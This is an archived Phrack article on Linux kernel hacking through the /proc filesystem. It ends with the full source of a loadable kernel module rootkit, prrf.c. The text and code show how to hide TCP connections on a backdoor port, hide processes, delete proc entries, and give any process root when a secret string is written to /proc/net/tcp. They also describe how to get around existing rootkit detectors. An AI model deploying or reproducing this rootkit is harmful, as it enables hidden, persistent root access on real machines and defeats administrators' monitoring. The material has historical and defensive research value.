💾 Archived View for aphrack.org › issues › phrack58 › 6.gmi captured on 2022-03-01 at 15:51:18. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e

|=-----=[ Sub proc_root Quando Sumus (Advances in Kernel Hacking) ]=-----=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|

--[ Contents

  1 - Introduction

  2 - VFS and Proc Primer
    2.1 - VFS and why Proc?
    2.2 - proc_fs.h
    2.3 - The proc_root

  3 - Where to Go?
    3.1 - Securing?
    3.2 - Denial of Service
    3.3 - Connection Hiding
    3.4 - Elevation of Privileges
    3.5 - Process Hiding
    3.6 - Other Applications

  4 - Conclusion

  5 - Reference

  Appendix A: prrf.c



--[ 1 - Introduction

  "The nineteenth century dislike of romanticism is the rage of Caliban
seeing his own face in the glass.
The nineteenth century dislike of realism is the rage of Caliban not seeing
his own face in the glass."
		- Oscar Wilde, the preface to "The picture of Dorian Gray"

  Since I concern here on hacking, not literature, lets restate it. Our
romanticism is security, realism is its shadow. This article is about the
hacker Caliban. Our glass shall be the Linux kernel.

  Not the whole kernel; especially the proc filesystem. It offers interesting
features and they are used a lot in userland.

  I will only describe this techniques for use in Linux kernel modules (LKM). It
is up to the reader to port these techniques. Though, the techniques are port-
able, their use will be very bounded on other unices. The proc filesystem,
developed to the extends as in Linux, is not that extended in other unices. In
general, it lists one directory per process. In Linux it can be used to gather
plenty of information. Many programs rely on it. More informations can be
found in [7] and [8].

  Older versions of UNIX and HP-UX 10.x do not provide the proc filesystem.
Process data, such as that obtained by the ps(1) command, is obtained by reading
kernel memory directly. This requires superuser permissions and is even less
portable than the proc filesystem structure.


--[ 2 - VFS and Proc Primer

  First I will line out the needed basics to understand the techniques
explained later on. Then proc filesystem design will be investigated,
finally we will dive into, well, the roof top.


--[ 2.1 - VFS and why Proc?

  The kernel provides a filesystem abstraction layer, called virtual filesystem
or VFS. It is used to provide a unified view on any filesystem from the
userland (see [1] for details). More on this methodology can be found in [2].

  We will not look at proc from VFS view. We look at the un-unified filesystem,
which is at the implementation level of the proc filesystem. This has a simple
reason. We want to apply changes to proc and it still should look like any other
filesystem.

  Did I already mention why proc is aimed at by this article? it has two
attributes that make it interesting:

	1. it is a filesystem.
	2. it lives completely in kernel memory.

  Since it is a filesystem all access from the userland is limited to the
functionality of VFS layer provided by the kernel, namely read, write, open
and alike system calls (besides other access methods, see [3]).

  I will elaborate on the question: How can the kernel be backdoored without
changing system calls.


--[ 2.2 - proc_fs.h

  This subchapter will concern on the file named proc_fs.h; commonly in
~/include/linux/, where ~ is the root of you kernel source tree. Ok, here
we go for 2.2 series:

/*
 * This is not completely implemented yet. The idea is to
 * create an in-memory tree (like the actual /proc filesystem
 * tree) of these proc_dir_entries, so that we can dynamically
 * add new files to /proc.
 *
 * The "next" pointer creates a linked list of one /proc directory,
 * while parent/subdir create the directory structure (every
 * /proc file has a parent, but "subdir" is NULL for all
 * non-directory entries).
 *
 * "get_info" is called at "read", while "fill_inode" is used to
 * fill in file type/protection/owner information specific to the
 * particular /proc file.
 */
struct proc_dir_entry {
	unsigned short low_ino;
	unsigned short namelen;
	const char *name;
	mode_t mode;
	nlink_t nlink;
	uid_t uid;
	gid_t gid;
	unsigned long size;
	struct inode_operations * ops;
	int (*get_info)(char *, char **, off_t, int, int);
	void (*fill_inode)(struct inode *, int);
	struct proc_dir_entry *next, *parent, *subdir;
	void *data;
	int (*read_proc)(char *page, char **start, off_t off,
			int count, int *eof, void *data);
	int (*write_proc)(struct file *file, const char *buffer,
		unsigned long count, void *data);
	int (*readlink_proc)(struct proc_dir_entry *de, char *page);
	unsigned int count;	/* use count */
	int deleted;		/* delete flag */
};

  The described "in-memory tree" will be unified by the VFS. This
struct is a little different in 2.4 kernel:

/*
 * This is not completely implemented yet. The idea is to
 * create an in-memory tree (like the actual /proc filesystem
 * tree) of these proc_dir_entries, so that we can dynamically
 * add new files to /proc.
 *
 * The "next" pointer creates a linked list of one /proc directory,
 * while parent/subdir create the directory structure (every
 * /proc file has a parent, but "subdir" is NULL for all
 * non-directory entries).
 *
 * "get_info" is called at "read", while "owner" is used to protect module
 * from unloading while proc_dir_entry is in use
 */

typedef int (read_proc_t)(char *page, char **start, off_t off,
			int count, int *eof, void *data);
typedef int (write_proc_t)(struct file *file, const char *buffer,
			unsigned long count, void *data);
typedef int (get_info_t)(char *, char **, off_t, int);

struct proc_dir_entry {
	unsigned short low_ino;
	unsigned short namelen;
	const char *name;
	mode_t mode;
	nlink_t nlink;
	uid_t uid;
	gid_t gid;
	unsigned long size;
	struct inode_operations * proc_iops;
	struct file_operations * proc_fops;
	get_info_t *get_info;
	struct module *owner;
	struct proc_dir_entry *next, *parent, *subdir;
	void *data;
	read_proc_t *read_proc;
	write_proc_t *write_proc;
	atomic_t count;		/* use count */
	int deleted;		/* delete flag */
	kdev_t  rdev;
};

  Years of development did not complete it. Err.. complete it, yet. But
well enough, it changed. get_info function prototype lost a argument.
Working around this makes portable code a bit messy.

  Note that there are three new entries while one entry, readlink_proc,
was removed. Also note, the file operation struct was moved from the
inode operations into the proc_dir_entry struct. Working around this
is just fine, see section 3.


--[ 2.3 - The proc_root

  The Linux kernel exports the root inode of the proc filesystem, named
proc_root. Hence, it is the root inode of the proc filesystem that the
mountpoint, commonly /proc, is referring to. We can, starting there, go to
any file in below that directory. However, there is one exception. The
processes' directories can never be reached from proc_root. They are added
dynamically, and presented to the VFS layer if readdir (inode operation) is
called.

  It should be made clear that proc_root is of type
"struct proc_dir_entry".


--[ 3 - Where to Go?

  This chapter will introduce techiques to aquire even more abilities than
commonly obtained by systemcall replacement.

  The following functions and macros will be used in the code provided in
these subsections (note: for implementation see appendix A):

	As noted in section 2.2 we have to take care of a little change in
	design:

	#if defined (KERNEL_22)
	#define FILE_OPS        ops->default_file_ops
	#define INODE_OPS       ops
	#elif defined (KERNEL_24)
	#define FILE_OPS        proc_fops
	#define INODE_OPS       proc_iops
	#endif

	struct proc_dir_entry *
	traverse_proc (char *path, struct proc_dir_entry *start):
	  On success, return a pointer to the proc file specified by
	path. On failures, NULL is returned.
	Start may either be NULL or an arbitrary proc_dir_entry; it
	marks the point there the search begins.
	The path may begin with "~/". If it does, the search starts at
	proc_root.

	int
	delete_proc_file (char *path):
	  This function will remove a file from the proc directory
	lists. It will not free the memory the proc_dir_entry occupies,
	thus making it possible to reintroduce it later on.


--[ 3.1 - Securing?

  The easiest modifications coming to mind are related to the first few
fields in the proc_dir_entry. Namely uid, gid and mode. By changing them
we can simply reissue and/or revoke the ability for certain users to access
certain information. Side note here: some of the information accessable
through /proc can be obtained in other ways.

  An implementation may look like this:

	proc_dir_entry *a = NULL;
	a = traverse_proc ("~/ksyms", NULL);
	if (a) {
		/* reset permissions to 400 (r--------): */
		a->mode -= (S_IROTH | S_IRGRP);
	}
	a = traverse_proc ("~/net", NULL);
	if (a) {
		/* reset permissions to 750 (rwxr-x---): */
		a->mode = S_IRWXU | S_IRGRP | S_IXGRP;
		/* reset owner group to a special admin group id */
		a->gid = 7350;
	}

  Another possibility for securing proc access is given in 3.5.


--[ 3.2 - Denial of Service

  Well, I will make this as short as possible. A malicious user might ap-
ply changes to files to render parts of the system useless. Those, as
mentioned above, can easily be undone. But if the malicious user
simply unlinks a file it is lost:

	/* oops, we forget to save the pointer ... */
	delete_proc_file ("~/apm");

  what actually happens on delete_proc_file calls is (simplified):
	0. find proc_dir_entry of the file to delete (to_del)
	1. find the proc_dir_entry that matches:
	   proc->next->name == to_del->name
	2. relink:
	   proc->next = to_del->next


--[ 3.3 - Connection Hiding

  The netstat utility uses the proc file ~/net/* files to show e.g. tcp
connections and their status, listening udp sockets etc. Read [4] for a
complete discussion of netstat. Since we control the proc filesystem we
are able to define what is read and what is not. The proc_dir_entry struct
contains a function pointer named get_info which is called at file read.
By redirecting this we can take control of the contents of files in /proc.

  Take care of the file format in different version. Files mentioned
above changed their format from 2.2.x to 2.4.x. Notably, the same function
can be used for redirection. Lets see how this develops in 2.5.x kernels.
  
  an example (for 2.2.x kernels, for differences to 2.4.x kernel see section
2.2):

	/* we save the original get_info */
	int (*saved_get_info)(char *, char **, off_t, int, int);
	proc_dir_entry *a = NULL;

	/* the new get_info ... */
	int
	new_get_info (char *a, char **b, off_t c, int d, int e) {
		int x = 0;
		x = saved_get_info (a, b, c, d, e);
		/* do something here ... */
		return x;
	}

	a = traverse_proc ("~/net/tcp", NULL);
	if (a) {
		/*
		 * we just set the get_info pointer to point to our new
		 * function. to undo this changes simply restore the pointer. 
		 */
		saved_get_info = a->get_info;
		a->get_info = &new_get_info;
	}

  Appendix A offers a example implementation.


--[ 3.4 - Elevation of Privileges

  Often a system call is utilized to give under a certian condition extra
privileges to a user. We will not redirect a system call for this. Redirecting
the read file operation of a file is sufficient hence (1) it allows a user to
send data into the kernel and (2) it is considerable stealthy if we choose the
right pattern or the right file (elevating a tasks id's to 0 if it writes a '1'
to /proc/sys/net/ipv4/ip_forward is certainly a bad idea).

  Some code will explain this.

	a = traverse_proc ("~/ide/drivers", NULL);
	if (a) {
		/*
		 * the write function is called if the file is written to.
		 */
		a->FILE_OPS->write = &new_write;
	}

  It is a good idea to save the pointer you overwrite. If you remove the module
memory containing the function might free'ed. It can bring havoc to a system if
it subsequently calls a NULL pointer. The curious reader is encouraged to read
appendix A.


--[ 3.5 - Process Hiding

  What happens if a directory is to be read? You have to find its inode, then
you read its entries using readdir. VFS offers a unified interface to this,
we dont care and reset the pointer to readdir of the parent inode in question.

  Since the process directories are directly under proc_root there is no need
for searching the parent inode. Note that we do not hide the entries from the
user by sorting them out, but by not writing them to the users memory.


	/* a global pointer to the original filldir function */
	filldir_t real_filldir;

	static int new_filldir_root (void * __buf, const char * name,
			int namlen, off_t offset, ino_t ino) {
		/*
		 * if the dir entry, that should be added has a stupid name
		 * indicate a successful addition and do nothing.
		 */
		if (isHidden (name))
			return 0;
		return real_filldir (__buf, name, namlen, offset, ino);
	}


	/* readdir, business as usual. */
	int new_readdir_root (struct file *a, void *b, filldir_t c) {
		/*
		 * Note: there is no need to set this pointer every
		 * time new_readdir_root is called. But we have to set
		 * it once, when we replace the readdir function. If we
		 * know where filldir lies at that time this should be
		 * changed. (yes, filldir is static).
		 */
		real_filldir = c;
		return old_readdir_root (a, b, new_filldir_root);
	}


	/* replace the readdir file operation. */
	proc_root.FILE_OPS->readdir = new_readdir_root;

  If the process that should be added last is hidden the list of entries is
not properly linked since our filldir does not care about linking. However,
this is very unlikely to happen. The user has all power he needs to avoid
this condition.

  It is possible to just make files unaccessable within /proc by replacing
the lookup inode operation of the parent:

	struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {
		/*
		 * will result in:
		 * "/bin/ls: /proc/<d_iname>: No such file or directory"
		 */
		if (isHidden (b->d_iname))
			return NULL;
		return old_lookup_root (a, b);
	}

	/* ... enable the feature ... */
	proc_root.INODE_OPS->lookup = &new_lookup_root;

  E.g. this can be used to establish fine grained access rules.


--[ 3.6 - Other Applications

  Now, lets have a look at what files wait to become modified. In the /proc/net
directory are ip_fwnames (defining chain names) and ip_fwchains (rules).
They are read by ipchains (not by iptables) if they are queried to list the
filter rules. As mentioned above, there is a file named tcp, listening all
existing tcp sockets. such a file exists for udp, too. the file raw lists
raw sockets. sockstat contains statistics on socket use. A carefully written 
backdoor has to sync between the (tcp|udp|...) files and this one. The arp 
utility uses /proc/net/arp to gather its information. route uses the
/proc/net/route file. Read their manpages and look out for the sections
named "FILES" and "SEE ALSO". However, checking the files is only half of
the work, e.g. ifconfig uses a proc file (dev) plus ioctl's to gether its
information.

  As you can see, there are many many applications to these techniques. It
is up to you to write new get_info functions to filter their output or to
add new evil entries (non existing problems are the hardest to debug).


--[ 4 - Conclusion

  As we saw in section 3.2 - 3.6 there are several possibilities to weaken
the security in the Linux kernel. Existing kernel protection mechanisms, as
[5] and [6] will not prevent them, they check only for well known, system call
based, backdooring; we completely worked around it. Disabling LKM support will
only prevent the specific implementation included here to work (because it is
a LKM).

  Changing the proc structures by accessing /dev[k]mem is easy since most
data of the inodes is static. Therefore they can be possibly found by simple
pattern matching (only the function pointers and next/parent/subdir pointers
will be different).

  A important goal, hiding of any directory and file, was not passed. This does
not imply that it can not be reached by proc games. A possiblity could be to
hardcode needed binaries into the kernel images proc structures, or on systems
using sdram, leting them occupy unused memory space. Quiet another possibility
might be to attack the VFS layer. That, of course, is the story of another
article.

  Finally some words about the implementation appended. I strongly urge the read
to use it ONLY as a proof of concept. The author can and must not be made
responsible for any, including but not limited to, incidental or consequential
damage, data loss or service outage. The code is provided "AS IS" and WITHOUT
ANY WARRENTY. USE IT AT YOU OWN RISK. The code is know to compile and run on
2.2.x and 2.4.x kernels.


--[ 5 - Reference

[1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au>
    http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt
[2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and
    Albert S. Woodhull
    ISBN 0-13-630195-9
[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>
    http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
[4] netstat
    see netstat(1) for further information.
[5] StMichael, by Tim Lawless <lawless@netdoor.com>
    http://sourceforge.net/projects/stjude
[6] KSTAT, by FuSyS <fusys@s0ftpj.org>
    http://s0ftpj.org/tools/kstat.tgz
[7] proc pseudo-filesystem man page
    see proc(5)
[8] "T H E  /proc   F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>,
    Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com>
    ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)
    http://skaro.nightcrawler.com/~bb/Docs/Proc


--[ Appendix A: prrf.c

<++> ./prrf.c
/*
 * prrf.c
 *
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * palmers / teso - 12/02/2001
 */

/*
 * NOTE: the get_info redirection DOES NOT handle small buffers.
 *       your system _might_ oops or even crash if you read less
 *       bytes then the file contains!
 */

/*
 * 2.2.x #define KERNEL_22
 * 2.4.x #define KERNEL_24
 */
#define KERNEL_22	1
#define DEBUG		1

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/config.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/smp_lock.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <asm/uaccess.h>


/*
 * take care of proc_dir_entry design
 */
#if defined (KERNEL_22)
  #define FILE_OPS	ops->default_file_ops
  #define INODE_OPS	ops
#elif defined (KERNEL_24)
  #define FILE_OPS	proc_fops
  #define INODE_OPS	proc_iops
#endif

#define BUF_SIZE	65535
#define AUTH_STRING	"ljdu3g9edaoih"


struct hide_proc_net
{
  int			id;		/* entry id, useless ;) */
  char			*local_addr,	/* these should be self explaining ... */
			*remote_addr,
  			*local_port,
			*remote_port;
};

/*
 * global lst_entry:
 * set by traverse_proc, used by delete_proc_file.
 */
struct proc_dir_entry	*lst_entry = NULL;

/*
 * some function pointers for saving original functions.
 */
#if defined (KERNEL_22)
  int (*old_get_info_tcp) (char *, char **, off_t, int, int);
#elif defined (KERNEL_24)
  get_info_t *old_get_info_tcp;
#endif

ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *);
struct dentry * (*old_lookup_root) (struct inode *, struct dentry *);
int (*old_readdir_root) (struct file *, void *, filldir_t);
filldir_t real_filldir;


/*
 * rules for hiding connections
 */
struct hide_proc_net hidden_tcp[] = {
	{0, NULL, NULL, ":4E35", NULL},		/* match connection from ANY:ANY to ANY:20021 */
	{1, NULL, NULL, NULL, ":4E35"},		/* match connection from ANY:20021 to ANY:ANY*/
	{2, NULL, NULL, ":0016", ":4E35"},	/* match connection from ANY:20021 to ANY:22 */
	{7350, NULL, NULL, NULL, NULL}		/* stop entry, dont forget to prepend this one */
};


/*
 * get_task:
 * find a task_struct by pid.
 */
struct task_struct *get_task(pid_t pid)
{
	struct task_struct	*p = current;

	do {
		if (p->pid == pid)
		return p;
		p = p->next_task;
	} while (p != current);
	return NULL;
}


/*
 * __atoi:
 * atoi!
 */
int __atoi(char *str)
{
	int	res = 0,
		mul = 1;

	char *ptr;
	for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
		if (*ptr < '0' || *ptr > '9')
			return (-1);
		res += (*ptr - '0') * mul;
		mul *= 10;
	}
	return (res);
}


/*
 * get_size_off_tcp:
 * get the size of the modified /proc/net/tcp file.
 */
static off_t get_size_off_tcp (char **start)
{
  off_t		x = 0,
		xx = 0,
		xxx = 0,
		y = 0;
  char		tmp_buf[BUF_SIZE + 1];

  do
    {
      x += y;
      xx += xxx;
      y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);
    } while (y != 0);

  return x - xx;
}


/*
 * deny_entry:
 * check connection parameters against our access control list.
 * for all non-NULL fields of a entry the supplied parameters
 * must match. Otherways the socket will show up.
 */
int deny_entry (char *la, char *lp, char *ra, char *rp)
{
  int		x = 0,
		y,
		z;

  while (hidden_tcp[x].id != 7350)
    {
      y = 0;
      z = 0;

      if (hidden_tcp[x].local_addr != NULL)
	{
	  if (!strncmp (la, hidden_tcp[x].local_addr, 8))
	    y++;
	}
      else
	z++;

      if (hidden_tcp[x].remote_addr != NULL)
	{
	  if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))
	    y++;
	}
      else
	z++;

      if (hidden_tcp[x].local_port != NULL)
	{
	  if (!strncmp (lp, hidden_tcp[x].local_port, 5))
	    y++;
	}
      else
	z++;

      if (hidden_tcp[x].remote_port != NULL)
	{
	  if (!strncmp (rp, hidden_tcp[x].remote_port, 5))
	    y++;
	}
      else
	z++;

      if ((z != 4) && ((y + z) == 4))
	return 1;
      x++;
    }
  return 0;
}


/*
 * __new_get_info_tcp:
 * filter the original get_info output. first call the old function,
 * then cut out unwanted lines.
 * XXX: very small buffers will make very large problems.
 */
int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx)
{
  char		tmp_l_addr[8],
		tmp_l_port[5],
  		tmp_r_addr[8],
		tmp_r_port[5],		/* used for acl checks */
		*tmp_ptr,
		*tmp_page;
  int		x = 0,
		line_off = 0,
		length,
		remove = 0,
		diff,
		m;

#if defined (KERNEL_22)
  x = old_get_info_tcp (page, start, pos, count, f);
#elif defined (KERNEL_24)
  x = old_get_info_tcp (page, start, pos, count);
#endif

  if (page == NULL)
    return x;

  while (*page)
    {
      tmp_ptr = page;
      length = 28;
      while (*page != '\n' && *page != '\0')	/* check one line */
	{
	/*
	 * we even correct the sl field ("line number").
	 */
	  if (line_off)
	    {
	      diff = line_off;

	      if (diff > 999)
		{
	          m = diff / 1000;
	          page[0] -= m;
	          diff -= (m * 1000);
		}
	      if (diff > 99)
		{
	          m = diff / 100;
	          page[1] -= m;
	          diff -= (m * 100);
		}
	      if (diff > 9)
		{
	          m = diff / 10;
	          page[2] -= m;
	          diff -= (m * 10);
		}
	      if (diff > 0)
		page[3] -= diff;

	      if (page[0] > '1')
		page[0] = ' ';
	      if (page[1] > '1')
		page[1] = ' ';
	      if (page[2] > '1')
		page[2] = ' ';
	    }

	  page += 6;		/* jump to beginning of local address, XXX: is this fixed? */
	  memcpy (tmp_l_addr, page, 8);

	  page += 8;		/* jump to beginning of local port */
	  memcpy (tmp_l_port, page, 5);

	  page += 6;		/* jump to remote address */
	  memcpy (tmp_r_addr, page, 8);

	  page += 8;		/* jump to beginning of local port */
	  memcpy (tmp_r_port, page, 5);

          while (*page != '\n')	/* jump to end */
	    {
	      page++;
	      length++;
	    }

	  remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);
	}
      page++;			/* '\n' */
      length++;

      if (remove == 1)
	{
	  x -= length;
	  if (what)		/* count ignored bytes? */
	    *fx += length;
	  tmp_page = page;
	  page = tmp_ptr;

	  while (*tmp_page)	/* move data backward in page */
	    *tmp_ptr++ = *tmp_page++;

/* zero lasting data (not needed)
	  while (length--)
	    *tmp_ptr++ = 0;
	  *tmp_ptr = 0;

	  line_off++;
	  remove = 0;
	}
    }
  return x;
}


/*
 * new_get_info_tcp:
 * we need this wrapper to avoid duplication of entries. we have to
 * check for "end of file" of /proc/net/tcp, where eof lies at
 * file length - length of all entries we remove.
 */
#if defined (KERNEL_22)
int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f)
{
#elif defined (KERNEL_24)
int new_get_info_tcp (char *page, char **start, off_t pos, int count)
{
  int		f = 0;
#endif
  int		x = 0;
  off_t		max = 0;
 
  max = get_size_off_tcp (start);
  if (pos > max)
    return 0;
  x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);

  return x;
}


/*
 * new_write_tcp:
 * a write function that performs misc. tasks as privilege elevation etc.
 * e.g.:
 * echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.
 */
ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d)
{
  char *tmp = NULL, *tmp_ptr;
  tmp = kmalloc (c + 1, GFP_KERNEL);

  copy_from_user (tmp, b, c);
  if (tmp[strlen (tmp) - 1] == '\n')
    tmp[strlen (tmp) - 1] = 0;

  if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))
    {
      struct task_struct *x = NULL;
      tmp_ptr = tmp + strlen (AUTH_STRING) + 1;
      if ((x = get_task (__atoi (tmp_ptr))) == NULL)
	{
	  kfree (tmp);
	  return c; 
	}
      x->uid = x->euid = x->suid = x->fsuid = 0;     
      x->gid = x->egid = x->sgid = x->fsgid = 0;     
    }

  kfree (tmp);
  return c;
}


/*
 * some testing ...
 */
struct dentry *new_lookup_root (struct inode *a, struct dentry *b)
{
  if (b->d_iname[0] == '1')
    return NULL;	/* will result in: "/bin/ls: /proc/1*: No such file or directory" */
  return old_lookup_root (a, b);
}


static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino)
{
  if (name[0] == '1' && name[1] == '0')	/* hide init */
    return 0;
/*
 * hiding the last task will result in a wrong linked list.
 * that leads e.g. to crashes (ps).
 */
  return real_filldir (__buf, name, namlen, offset, ino);
}

int new_readdir_root (struct file *a, void *b, filldir_t c)
{
  real_filldir = c;
  return old_readdir_root (a, b, new_filldir_root);
}


/*
 * traverse_proc:
 * returns the directory entry of a given file. the function will traverse
 * thru the filesystems structure until it found the matching file.
 * the pr argument may be either NULL or a starting point for the search.
 * path is a string. if it begins with '~' and pr is NULL the search starts
 * at proc_root.
 */
struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr)
{
  int			x = 0;
  char			*tmp = NULL;

  if (path == NULL)
    return NULL;

  if (path[0] == '~')
    {
      lst_entry = &proc_root;
      return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);
    }

  while (path[x] != '/' && path[x] != 0)
    x++;

  tmp = kmalloc (x + 1, GFP_KERNEL);
  memset (tmp, 0, x + 1);
  memcpy (tmp, path, x);

  while (strcmp (tmp, (char *) pr->name))
    {
      if (pr->subdir != NULL && path[x] == '/')
        {
          if (!strcmp (tmp, (char *) pr->subdir->name))
	    {
	      kfree (tmp);
	      lst_entry = pr;
	      return traverse_proc (path + x + 1, pr->subdir);
	    }
        }
      lst_entry = pr;
      pr = pr->next;
      if (pr == NULL)
	{
	  kfree (tmp);
	  return NULL;
	}
    }

  kfree (tmp);
  if (*(path + x) == 0)
    return pr;
  else
    {
      lst_entry = pr;
      return traverse_proc (path + x + 1, pr->subdir);
    }
}


/*
 * delete_proc_file:
 * remove a file from of the proc filesystem. the files inode will still exist but it will
 * no longer be accessable (not pointed to by any other proc inode). the subdir pointer will
 * be copy'ed to the the subdir pointer of the preceeding inode.
 * returns 1 on success, 0 on error.
 */
int delete_proc_file (char *name)
{
  struct proc_dir_entry	*last = NULL;
  char			*tmp = NULL;
  int			i = 0;	/* delete subdir? */

  last = traverse_proc (name, NULL);

  if (last == NULL)
    return 0;
  if (lst_entry == NULL)
    return 0;

  if (last->subdir != NULL && i)
    lst_entry->subdir = last->subdir;

  while (*name != 0)
    {
      if (*name == '/')
        tmp = name + 1;
      *name++;
    }

  if (!strcmp (tmp, lst_entry->next->name))
    lst_entry->next = last->next;
  else if (!strcmp (tmp, lst_entry->subdir->name))
    lst_entry->subdir = last->next;
  else
    return 0;

  return 1;
}


int init_module ()
{
  struct proc_dir_entry	*last = NULL;
  last = traverse_proc ("~/net/tcp", NULL);

  old_readdir_root = proc_root.FILE_OPS->readdir;
  old_lookup_root = proc_root.INODE_OPS->lookup;
  
  proc_root.FILE_OPS->readdir = &new_readdir_root;
  proc_root.INODE_OPS->lookup = &new_lookup_root;

  if (last != NULL)
    {
#ifdef DEBUG
      printk ("Installing hooks ....\n");
#endif
      old_get_info_tcp = last->get_info;
      old_write_tcp = last->FILE_OPS->write;

      last->get_info = &new_get_info_tcp;
      last->FILE_OPS->write = &new_write_tcp;
    }

  return 0;
}


void cleanup_module ()
{
  struct proc_dir_entry	*last = NULL;
  last = traverse_proc ("~/net/tcp", NULL);

  proc_root.FILE_OPS->readdir = old_readdir_root;
  proc_root.INODE_OPS->lookup = old_lookup_root;

  if (last != NULL)
    {
#ifdef DEBUG
      printk ("Removing hooks ....\n");
#endif
      last->get_info = old_get_info_tcp;
      last->FILE_OPS->write = old_write_tcp;
    }
}
<-->